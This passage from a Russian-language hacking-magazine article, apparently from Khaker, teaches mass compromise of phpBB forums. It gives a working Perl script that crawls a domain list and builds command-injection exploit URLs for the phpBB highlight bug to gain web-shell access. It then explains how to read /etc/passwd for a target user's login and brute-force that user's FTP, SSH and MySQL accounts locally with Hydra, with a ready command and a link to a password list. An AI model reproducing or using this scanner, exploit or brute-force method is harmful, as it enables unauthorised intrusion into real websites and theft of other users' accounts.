Удар по вебу Толстых Олег aka NSD Хакер, номер #075, стр. 075-060-3 $source="in.txt"; $result="result.htm"; open (FILE, $source); while ($str=<FILE>) { if($str=~/\[whois\]/igs) { @str=split (" ", $str); $site=$str[1]; $url="http://www.$site/forum"; find_bug($url,$result); $url="http://www.$site/phpbb"; find_bug($url,$result); $url="http://www.$site/phpBB"; find_bug($url,$result); $url="http://forum.$site"; find_bug($url,$result); $i++; print "$i: $site\n"; } } sub find_bug { $url=shift; $result=shift; open (RES, ">>$result"); $browser = LWP::UserAgent->new; $res=$browser->get($url); if($res->content =~/viewforum.php/igs) { $exploit="$url/viewtopic.php?t=7&highlight=%2527.\$poster=%60\$cmd%60.%2527&cmd=uname%20-a"; print RES "<a href=\"$exploit\" target=\"_blank\">$exploit</a>\n<br>$webpage<hr>"; } close (RES); } Ну вот и все, самописный крякер инета создан и готов к работе! Прежде чем его запустить, нужно сохранить текст web-страницы со списком доменов с сервиса www.domainsdb.net в файле in.txt. После того как программка закончит работу, в файле result.htm не только появится листинг найденных phpBB-форумов, но и ссылки-эксплойты, дающие хакеру доступ к web-шеллу на сайте с бажным phpBB. Локальный взлом Если удача улыбнется хакеру, то желанный уязвимый форум найдется и, следовательно, компьютерный негодяй получит возможность исполнять через него команды операционной системы (рисунки 4 и 5). Но что он будет делать дальше? Ведь хакер не сможет ни изменять, ни даже читать файлы, относящиеся к сайту www.zhopa.net, поскольку шелл получен через бажную хоум-пагу постороннего юзера. Для этого ему придется поломать аккаунт пользователя, которому принадлежит сайт zhopa.net. Про методы локального взлома можно написать не одну статью, но сейчас я расскажу только об одной технологии – о локальном брутфорсе. Для ее реализации падонок сначала выудит из файла /etc/passwd логин целевого пользователя (в нашем случае логин владельца жопа.нет), потом установит на сервер многофункциональный брутфорсер Hydra и начнет с его помощью подбор пароля к FTP/SSH, MySQL-сервису, которым владеет атакуемый юзер. О том, как устанавливать гидру, я уже повествовал пару номеров назад, поэтому сейчас расскажу только о том, как можно юзать ее в данном случае. Итак, взломщику придется приготовить файл с потенциальными паролями, которые будут использоваться для брута. Он может либо скачать уже готовую подборку паролей с NSD.ru (http://nsd.ru/soft.php?group=hacksoft&razdel=passwords), либо составить свой персональный пасс-лист. Допустим, наш взломщик сохранил пароли в файле pass.txt. Теперь ему нужно натравить гидру на аккаунты zhopa.net, запустив перебор вот так: hydra -l логин_от_жопа_нет -P pass.txt –t 255 127.0.0.1 ftp После этого начнется брутфорс-атака FTP-сервиса, использующая 255 потоков. Поскольку взламываемый сервис является локальным, скорость перебора будет максимально высокой и пароль будет очень скоро получен. Если, конечно, перебор не запалит администратор сервера :). |